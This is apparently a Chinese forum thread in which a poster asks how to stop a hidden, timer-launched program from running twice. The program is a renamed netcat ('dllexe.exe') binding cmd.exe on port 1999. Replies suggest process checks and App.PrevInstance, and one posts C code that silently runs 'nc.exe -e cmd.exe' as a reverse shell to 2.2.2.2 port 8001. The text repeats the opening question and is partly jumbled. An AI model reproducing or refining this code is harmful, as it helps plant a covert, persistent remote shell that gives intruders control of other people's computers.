我写了这段代码
Private Sub Timer3_Timer()
Shell "dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe", vbHide
End Sub该timer时间1分钟执行一次
请问如何防止dllexe.exe的2次执行
不能使用timer3.Enabled=False 结束该事件哦
也就是当第2个dllexe.exe运行的时候自动关闭前一个dllexe.exe
或在已经有个dllexe.exe运行的时候不在运行第2个
注:我的系统是windos2000
Private Sub Timer3_Timer()
Shell "dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe", vbHide
End Sub该timer时间1分钟执行一次
请问如何防止dllexe.exe的2次执行
不能使用timer3.Enabled=False 结束该事件哦
也就是当第2个dllexe.exe运行的时候自动关闭前一个dllexe.exe
或在已经有个dllexe.exe运行的时候不在运行第2个
注:我的系统是windos2000
h = Shell("COMMAND.COM /C c:\windows\command\edit.com")
End Sub
我是菜鸟,我以前好像也想过这个问题,
如果给我用一个"类似脚本"的来解决的话,
我会用pv.exe>pro.txt(或其它列出当前进程的工具),再从文本中检测有没有nc.exe的进程.
当然也可用认真点的做法,编程实现列出当前的进程有没有nc.exe的进程的.菜鸟一个,兄弟莫笑.还有我想shell的时候最好这样"cmd.exe /c dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe"写
Private Sub Form_Load()
If App.PrevInstance Then
MsgBox "程序正在运行,请检查窗口是否被最小化。"
End
End If
End Sub我以前用ShellExecuteEx好像可以做到nc.exe在系统中不存在两个实例.可我找不回了.sorry.
char ncchar[100]="-e cmd.exe ",ip[100]="2.2.2.2"
strcat(ncchar,ip);
strcat(ncchar," 8001");
SHELLEXECUTEINFO ShExecInfo = {0};
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "open";
ShExecInfo.lpFile = "nc.exe";
ShExecInfo.lpParameters = ncchar;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_HIDE;
ShExecInfo.hInstApp = NULL;
ShellExecuteEx(&ShExecInfo);
WaitForSingleObject(ShExecInfo.hProcess,INFINITE);
strcpy(ncchar,"-e cmd.exe ");
另网上找了些资料,未实验过.应该比这好的.
二、以同步方式来执行其他程序
有时候,我们需要让VB在执行完外部程序后再执行下一语句,这就需要使用API函数。
我们可通过OpenProcess和CloseHandle函数来检测调用软件的运行情况。这两个函数的声明如下:Declare Function OpenProcess Lib ″kernel32″ Alias ″OpenProcess″ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Declare Function CloseHandle Lib ″kernel32″ Alias ″CloseHandle″ (ByVal hObject As Long) As Long建立下面函数,用以判断程序是否在运行,如果是,则在运行时返回True。
Function IsRunning(ByVal ProgramID) As Boolean '传入进程标识ID
Dim hProgram As Long '被检测的程序进程句柄
hProgram=OpenProcess(0,False,ProgramID)
If Not hProgram=0 Then
IsRunning=True
Else
IsRunning=False
End If
CloseHandle hProgram
End Function例如要调用计算器(CALC.EXE)并等到它运行完成后再执行下一语句,可以使用以下代码:
Dim RetVal
MsgBox "开始运行"
RetVal = Shell("C:\WINDOWS\CALC.EXE", 1)
While IsRunning(RetVal)
DoEvents
Wend
MsgBox "结束运行"
在dllexe 工程中的启动模块中加入If App.PrevInstance Then
MsgBox "程序正在运行,请检查窗口是否被最小化。"
End
End If
如果是外部的进程,那就要在windows进程中找了,具体代码有差别,但思路同scar